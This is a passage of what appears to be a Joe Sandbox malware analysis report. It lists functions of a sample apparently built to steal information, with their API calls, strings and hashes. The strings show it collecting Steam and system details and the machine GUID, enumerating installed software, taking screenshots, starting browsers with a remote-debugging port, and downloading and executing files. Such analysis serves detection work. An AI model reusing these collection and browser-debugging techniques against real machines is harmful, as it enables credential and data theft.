Function 0041FEC1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0041FF42

Strings

%s\%s, xrefs: 0041FEDB, 0041FEE1, 0041FF1C, 0041FF21
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041FEF9, 0041FEFF, 0041FF1B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: %s\%s$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 71445658-1969869098
Opcode ID: c6c32dde087a60be459981c5a25d9cdae22c500a76205aa6044837812575c95c
Instruction ID: d72de999b2892b00457b4301201e501fe1f29f5046f65ed3e118f347551177f9
Opcode Fuzzy Hash: c6c32dde087a60be459981c5a25d9cdae22c500a76205aa6044837812575c95c
Instruction Fuzzy Hash: 6C01D8B96002015FD324DF58DC91E6777E9FB85304F04002DE946D3262EA74A9088B65

Function 004077BF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(?,GET,?,HTTP/1.1,00000000,00000000,?,00000000), ref: 00407822

Strings

GET, xrefs: 004077DE, 004077E4, 0040781B, 00407820
HTTP/1.1, xrefs: 004077FC, 00407802, 00407817

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID: GET$HTTP/1.1
API String ID: 1984915467-4061949999
Opcode ID: c26e72baf244679ae1380ab36c354a9d5c12ff323c7b3e85c0b6eb28420587d3
Instruction ID: 5a2855c5d477d9864c51e49c90507d96aaf2b89e3308fb2ad7f604e3a9f164b8
Opcode Fuzzy Hash: c26e72baf244679ae1380ab36c354a9d5c12ff323c7b3e85c0b6eb28420587d3
Instruction Fuzzy Hash: D60184B87102059FDB08CF54DD82E6B77AAFB9A305B044129E501D7311E7B5BD14C799

Function 004295FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042961E
RegOpenKeyExA.KERNEL32(80000001,Software\Valve\Steam,00000000,00020119,?), ref: 00429660

Strings

Software\Valve\Steam, xrefs: 0042963D, 00429643, 0042965A

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Openmemset
String ID: Software\Valve\Steam
API String ID: 180050240-490694136
Opcode ID: a59053157d78675f8bf7816a6b86b3a91a7600940e0728385377ffd210f69d38
Instruction ID: a33e435cb44d62256079c35c96f443ad56b4672447584121e235a2f7f769d0df
Opcode Fuzzy Hash: a59053157d78675f8bf7816a6b86b3a91a7600940e0728385377ffd210f69d38
Instruction Fuzzy Hash: A3F0C8B6A402056BD314DB99DC86DBB3678EB95300F04413CB90997341E6649E14C7A5

Function 0041FDC1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041FE30

Strings

?, xrefs: 0041FDF2
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041FE0F, 0041FE15, 0041FE28

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: ?$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 71445658-2633480413
Opcode ID: d320a3521d35f168751300790cb266167562fdbf6311ac38afecd85639501f0b
Instruction ID: c8f2481e82a16eca426fec0ccf16404ca92c35e872ef3ce0eab83674d6df9e99
Opcode Fuzzy Hash: d320a3521d35f168751300790cb266167562fdbf6311ac38afecd85639501f0b
Instruction Fuzzy Hash: 7001D6B5A00204AFD3249F19EC94E2BBBE8FFC5345F05851EE84687391DA749804CB55

Function 00420420 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042043C
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119), ref: 0042047D

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0042045B, 00420461, 00420477

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Openmemset
String ID: SOFTWARE\Microsoft\Cryptography
API String ID: 180050240-1514646153
Opcode ID: 2ad32eb8251b01e98074a0d0486dcfb936fe310c63f78620c8fe9f07967d2f10
Instruction ID: 704948cce47b6def0a0afe579a61564877315a8cc2ef23d99e61b0d3b5485971
Opcode Fuzzy Hash: 2ad32eb8251b01e98074a0d0486dcfb936fe310c63f78620c8fe9f07967d2f10
Instruction Fuzzy Hash: E1F0F6766412116BD214DB6ADC4AD2B7A6CFBC7314F05813CF818C7302D674A914C766

Function 004235EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00423615
Process32First.KERNEL32(00000000), ref: 00423622

Strings

5$#w, xrefs: 00423605

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID: 5$#w
API String ID: 2353314856-2839390797
Opcode ID: bae8fede1a8106b78921d416f13b3c645951278458bb2964471e672d63109a45
Instruction ID: 5be2964b6b9545829f7e644963e2359ac3e23bc5df8f00164b782a01543cc960
Opcode Fuzzy Hash: bae8fede1a8106b78921d416f13b3c645951278458bb2964471e672d63109a45
Instruction Fuzzy Hash: A7F06DB5342215AFE7A0DB1DED85F6673E8EBCA304F550438AA04C7382DA74DD208765

Function 004232FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0042331D
Process32First.KERNEL32(00000000), ref: 0042332A

Strings

N-`, xrefs: 0042330D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID: N-`
API String ID: 2353314856-3407581833
Opcode ID: eace18cfdea52badcbf0b24e5d0a25599bcf84b3f0cedbea6f9fb6112a0eaf8b
Instruction ID: bfc0c55214930d693d6a9e4c20c5a6b406b452c8cd58e231ce84683c647d9d8e
Opcode Fuzzy Hash: eace18cfdea52badcbf0b24e5d0a25599bcf84b3f0cedbea6f9fb6112a0eaf8b
Instruction Fuzzy Hash: 2EE012753021556BD750DF6EDC86F5B36ACAF86348F094038B504DB3D2DA609C288755

Function 00421C6F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Gdiplus.dll), ref: 00421C7F

Strings

Gdiplus.dll, xrefs: 00421C7A
3}*X, xrefs: 00421C6F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: 3}*X$Gdiplus.dll
API String ID: 1029625771-3385796832
Opcode ID: 83f535675c73549619932c820c058beef8f2ba26ac9fe6155ac65687aab25696
Instruction ID: 3fe45f8394e78795334f831f8f6b676fc398847a8e65ceccf9ffb3b8370cb1d8
Opcode Fuzzy Hash: 83f535675c73549619932c820c058beef8f2ba26ac9fe6155ac65687aab25696
Instruction Fuzzy Hash: C0E08C3930060ADFC704DF65C894E1873A2FB9D30431580B9C8428B322E77AA80ACB88

Function 004236F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

TerminateProcess.KERNEL32(?,00000000), ref: 004236FE

Strings

5$#w, xrefs: 004236F0
5$#w, xrefs: 00423700

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID: 5$#w$5$#w
API String ID: 560597551-2883133298
Opcode ID: 882f83642efd418665423add51b5c1a36d27814765caa829c4ac35b1579d154f
Instruction ID: 7c70d1fc7905766f050714cb572277ef9d259369ec2c40e01a949b1e957500cb
Opcode Fuzzy Hash: 882f83642efd418665423add51b5c1a36d27814765caa829c4ac35b1579d154f
Instruction Fuzzy Hash: 1BC04CE76450007BE1629BD9ED82B3B23A4679EA80FA80415B321C26D0D618D6115A1A

Function 0040E4B8 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E4C0

Strings

--remote-debugging-port=9223 --profile-directory=", xrefs: 0040E517, 0040E51D, 0040E52A
$|X, xrefs: 0040E5A1

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: --remote-debugging-port=9223 --profile-directory="$$|X
API String ID: 2221118986-1363042206
Opcode ID: ae06c8393336b333af05db5f16c75f1a9f5aa79fb8abcf2d5918810fac2cd834
Instruction ID: 3ba3319f07a7289698a11f05052de0d729129f79ef8d96ea643ee3d8260e6b4f
Opcode Fuzzy Hash: ae06c8393336b333af05db5f16c75f1a9f5aa79fb8abcf2d5918810fac2cd834
Instruction Fuzzy Hash: 14219FBAA421009FC754DB68DC91BED77E5BF8A304F084829E815D7311D774AA24CF4A

Function 004074A6 Relevance: 4.6, APIs: 3, Instructions: 50filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,00000000,00000000,00000000,00800100,00000000), ref: 004074E8
CreateFileA.KERNEL32 ref: 0040751E
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00407545

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternet$CreateOpenRead
String ID:
API String ID: 277185573-0
Opcode ID: a6a8c223cd5009ee1edf70638753991a576fa445f2a1b92b6e4b14e172d63ab9
Instruction ID: e7de77bcd4642c537b6601e2e1938511e7cc134d05b7d23443f92c6e6ade4d6c
Opcode Fuzzy Hash: a6a8c223cd5009ee1edf70638753991a576fa445f2a1b92b6e4b14e172d63ab9
Instruction Fuzzy Hash: 4211AC32A002818BD758DFACDC94AEA77B5FF89304F04443CE519E32A1EA306D58DB59

Function 004074C0 Relevance: 4.5, APIs: 3, Instructions: 49filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,00000000,00000000,00000000,00800100,00000000), ref: 004074E8
CreateFileA.KERNEL32 ref: 0040751E
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00407545

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternet$CreateOpenRead
String ID:
API String ID: 277185573-0
Opcode ID: c74caa1d72ef3849b5cfc4f5ea8cd1ffa9ffd77c479227d272b0f6abb55188a2
Instruction ID: 546a0ffc06b1c9f6154e424983ae53804db8d21ba515d4d3e98edb925e91b9df
Opcode Fuzzy Hash: c74caa1d72ef3849b5cfc4f5ea8cd1ffa9ffd77c479227d272b0f6abb55188a2
Instruction Fuzzy Hash: 4C11AC32A002818BD758DF6CDC94AEB77B5EF89304F04443CE515E3261EA306D48CB59

Function 0042C6C8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0042C7A4

Strings

C:\ProgramData\, xrefs: 0042C72C, 0042C732, 0042C747

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID: C:\ProgramData\
API String ID: 4241100979-1890264202
Opcode ID: fd0e82dec119dba322a7c6096ded51b902f46ea9c2b987c5c6cec87d8c7672a0
Instruction ID: 31c80a94cef3e32279e2b3b95fdfaa81a2b1e18fb5af080639bf195b1bb07545
Opcode Fuzzy Hash: fd0e82dec119dba322a7c6096ded51b902f46ea9c2b987c5c6cec87d8c7672a0
Instruction Fuzzy Hash: AA515FB5F001108FDB14DF6DDC81AAA77F6EFC9304B088479A81AD7351DA34EA59CB98

Function 00424D9A Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

ShellExecuteExA.SHELL32(?), ref: 00424FB3

Strings

open, xrefs: 00424F69

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: open
API String ID: 587946157-2758837156
Opcode ID: ebfeedbe94f74ff45762fa830e25903b89bf3b828f6f2a7a90415113d1e026e9
Instruction ID: 61fddfef70e41355df00d9e4d2de1f3e8f9111d1b6061317b8736759849db1d8
Opcode Fuzzy Hash: ebfeedbe94f74ff45762fa830e25903b89bf3b828f6f2a7a90415113d1e026e9
Instruction Fuzzy Hash: A9515FBAA002048FC714DF9CEC91A9E73F9EF99304B084139E816D7316DA74EA19CB58

Function 0040ED79 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040EE9B

Strings

C:\ProgramData\, xrefs: 0040EDA1, 0040EDA6, 0040EDB5

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: C:\ProgramData\
API String ID: 1304948518-1890264202
Opcode ID: 2882e95cde3e227961071db3bf314aefc9e93a392954357e6cde62046eb5ef51
Instruction ID: fa38410b2714a6e77a67ab8d0ac84656252ce63968c3431b5881fbac74b51b6b
Opcode Fuzzy Hash: 2882e95cde3e227961071db3bf314aefc9e93a392954357e6cde62046eb5ef51
Instruction Fuzzy Hash: 64417B76B400049FCB04DF9CDD81BAD77B5BF89214B084038E41AE3352DA34AE29CB9A

Function 004224D8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

CloseWindow.USER32(?), ref: 00422628

Strings

screenshot.jpg, xrefs: 00422533, 00422539, 00422549, 0042254E

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CloseWindow
String ID: screenshot.jpg
API String ID: 2868366576-673422685
Opcode ID: e872d15220e8eba057b17becdf5ddfe6898de3b7858142cab79ce1faf9401ced
Instruction ID: 1474f4eb416e69a59470140b2970e150b16aab5e9dd82b7fb77fdc4fb0d98ae7
Opcode Fuzzy Hash: e872d15220e8eba057b17becdf5ddfe6898de3b7858142cab79ce1faf9401ced
Instruction Fuzzy Hash: 22414C7AA002049FCB05EFA9DC819DDB7F6FF893147084426E819E7320DB30AE16CB95

Function 00424EB3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShellExecuteExA.SHELL32(?), ref: 00424FB3

Strings

open, xrefs: 00424F69

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: open
API String ID: 587946157-2758837156
Opcode ID: a7763368da59df55128bce128be65d78802f985b28b65f2b0973a5a6e52b3f09
Instruction ID: 335c78a2ad1e2e55ee93be4219d4163c48e76e0b01d245b53d08e114568d7b24
Opcode Fuzzy Hash: a7763368da59df55128bce128be65d78802f985b28b65f2b0973a5a6e52b3f09
Instruction Fuzzy Hash: E6412CBAA002148FC714DF9CEC81ADEB7F5BF99304B084539D916E7355DA34EA09CB94

Function 0040D684 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 0040D775

Strings

$|X, xrefs: 0040D760

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID: $|X
API String ID: 2029273394-3892261830
Opcode ID: 56462b0fbece8748853bf203f85b41ac87afc2f3bc7ba4b1a6761b8c2bef3194
Instruction ID: 7bb2ff5dcfc8d279bcf81fe524ae3fa2dc5d0f95ca336393724a20a6615c9046
Opcode Fuzzy Hash: 56462b0fbece8748853bf203f85b41ac87afc2f3bc7ba4b1a6761b8c2bef3194
Instruction Fuzzy Hash: 61317EBA9416089BDB10CFA8DC81AEDB7B5FF84304F05C919DC59A7215EB30BA58CF91

Function 0041FFEF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,DisplayVersion,00000000,?,?), ref: 004200C5

Strings

DisplayVersion, xrefs: 0042009E, 004200A4, 004200C0

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: DisplayVersion
API String ID: 3660427363-1932467951
Opcode ID: bc48f7ea78afc2e14c4617c34661b2e74e55b1eb1f49095dbd1ba4971cae8f9f
Instruction ID: cf9f5ad6a68376e2735318beace1d251c566c4efb26f65f4e476611a35502c4e
Opcode Fuzzy Hash: bc48f7ea78afc2e14c4617c34661b2e74e55b1eb1f49095dbd1ba4971cae8f9f
Instruction Fuzzy Hash: 562144753042059FD358DB5DDC91F2AB3EABFC5204F08851EA956C3362DBB4A908CB19

Function 0040764D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 004076CA

Strings

https, xrefs: 004076EB, 004076F1, 004076FD

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: https
API String ID: 2038078732-1056335270
Opcode ID: d02382278dad8006a76467c89bb757bc7f4ff210bad68994d93f9964a0b8bbf9
Instruction ID: df26f4550a862e9fd684f022062cfcdb87b4dfc3a6da9a7f5230f916b3431924
Opcode Fuzzy Hash: d02382278dad8006a76467c89bb757bc7f4ff210bad68994d93f9964a0b8bbf9
Instruction Fuzzy Hash: FC218179A002459BC700DF6CED81E9A77F9FF89204B088128EC15D7316E674EE54DB99

Function 0042BF5B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 0042C012

Strings

%s\%s, xrefs: 0042BF72, 0042BF78, 0042BF99

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID: %s\%s
API String ID: 2029273394-4073750446
Opcode ID: 49aec43eedd4154920b4152912b191205ad4e833ef8602dd1c6ae67f7dfd0253
Instruction ID: 7bfc89935805b3c9f140502e9bada0774c28768e2a75f6990908da1cd339226d
Opcode Fuzzy Hash: 49aec43eedd4154920b4152912b191205ad4e833ef8602dd1c6ae67f7dfd0253
Instruction Fuzzy Hash: 6F21FDB25183469BD314DF64DC90FABB3A4FFD5304F048A2CE85883221EB78B659CB95

Function 0041F27D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119), ref: 0041F2E3

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041F2C1, 0041F2C7, 0041F2DD

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 71445658-2278330950
Opcode ID: 418cd68d096bd5568328dc315d2750d41cd1f5bd62fd0d55f38de4d56d20cbe7
Instruction ID: 2e25e882f5a7e2b19922bce7a740613f80a7e1c0cd2294e75e808192a13d07e7
Opcode Fuzzy Hash: 418cd68d096bd5568328dc315d2750d41cd1f5bd62fd0d55f38de4d56d20cbe7
Instruction Fuzzy Hash: FAF0C8B57005046FD208DB59EC96E2B73AEDBC2298B19403CF805C7352D6A19C14C625

Function 0041F8D3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119), ref: 0041F939

Strings

HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0041F917, 0041F91D, 0041F933

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0
API String ID: 71445658-1200804856
Opcode ID: 23afe71e29af5ec134437f7a5a39b17a456f09bf968b00ebcd2edf471ecba85c
Instruction ID: afa0995c9104d54c0513139320a2a32bada2c33ac1025a4ee98fc1a0a3f950aa
Opcode Fuzzy Hash: 23afe71e29af5ec134437f7a5a39b17a456f09bf968b00ebcd2edf471ecba85c
Instruction Fuzzy Hash: A9F046B5740104AFD218DF69DC96E3B379EEBC6258F08402CF90AD7352E6B0AC18C768

Function 0041EDD1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 0041EE12

Strings

C, xrefs: 0041EDD1

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: C
API String ID: 2039140958-1037565863
Opcode ID: fba895a7c84f0ebd10d110c2fb366e73445ea8b94fce1f580e62eef5e5c9b4e0
Instruction ID: 92e8b87a2725497af17e58081da3f9891e214a7b1a9627bcd9299335e7855597
Opcode Fuzzy Hash: fba895a7c84f0ebd10d110c2fb366e73445ea8b94fce1f580e62eef5e5c9b4e0
Instruction Fuzzy Hash: F50171B1C483809FD300EF78DC9899ABBE5AFC5204F09D92DE49987321E674E695CB46

Function 00420499 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,MachineGuid,?,?,?,?), ref: 004204D3

Strings

MachineGuid, xrefs: 004204AE, 004204B4, 004204CD

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: MachineGuid
API String ID: 3660427363-4186287252
Opcode ID: 559368afa54c67bf8fb2bce8fe083da36d837b0e58ab7d7ce205c408e4ef4464
Instruction ID: 7bd19849ba9bfde11fb18e584a279c445fdcfc572076ffcf1604942d4b869d57
Opcode Fuzzy Hash: 559368afa54c67bf8fb2bce8fe083da36d837b0e58ab7d7ce205c408e4ef4464
Instruction Fuzzy Hash: C8F09637204114AFD314DB4AFCC4D9B77A8FB86214F04043DF6ADC3211E664A919C765

Function 004075E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET ref: 0040760E

Strings

6nmL, xrefs: 0040762F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CloseHandleInternet
String ID: 6nmL
API String ID: 1081599783-427066906
Opcode ID: ab978b4a34ea48ebde91a89da8a540cc6a1639d5ee7d70485fd776fad9b0b44f
Instruction ID: 4113b82c1dc35738cc7db2e753f606e80c889039b34e1def37de6a02774f634a
Opcode Fuzzy Hash: ab978b4a34ea48ebde91a89da8a540cc6a1639d5ee7d70485fd776fad9b0b44f
Instruction Fuzzy Hash: E9F04F3A2400898FDF10DF9CEC81ADE73A2EF85258B080135E525E3661CA34AE55DB18

Function 0041F2FF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,?,?,?,?), ref: 0041F336

Strings

CurrentBuildNumber, xrefs: 0041F314, 0041F31A, 0041F32F, 0041F334

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: CurrentBuildNumber
API String ID: 3660427363-1022791448
Opcode ID: b9f1d27b948a2cde859decee709fabe3fc3aaf7079ba9210fc7bef9a2106faad
Instruction ID: 32cc7c2ada2b86104a3a49f668f9a4e07e20b2ad3b816f2a31f760a166775264
Opcode Fuzzy Hash: b9f1d27b948a2cde859decee709fabe3fc3aaf7079ba9210fc7bef9a2106faad
Instruction Fuzzy Hash: C8F0A7BE6010006FC1049789EC85C5B73AAEBD52157184039F90DC6321D6A5AD15CB28

Function 0041FF59 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,DisplayName,00000000,?,?), ref: 0041FF9F

Strings

DisplayName, xrefs: 0041FF7B, 0041FF81, 0041FF9D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: DisplayName
API String ID: 3660427363-3786665039
Opcode ID: bc31a2ff1834048140c9dfee421bfaf7d1603ec0065aed378ec0e313bf8dafab
Instruction ID: f5713496be0a026c6677b26d3adc6da17140d2fb9fb8e09341883e6bed890c7d
Opcode Fuzzy Hash: bc31a2ff1834048140c9dfee421bfaf7d1603ec0065aed378ec0e313bf8dafab
Instruction Fuzzy Hash: 4DF09A75700101AFE3148B49DC81F2A73E8ABCA314F08442DF946D7391E6B8ED098BAA

Function 0041F1F3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

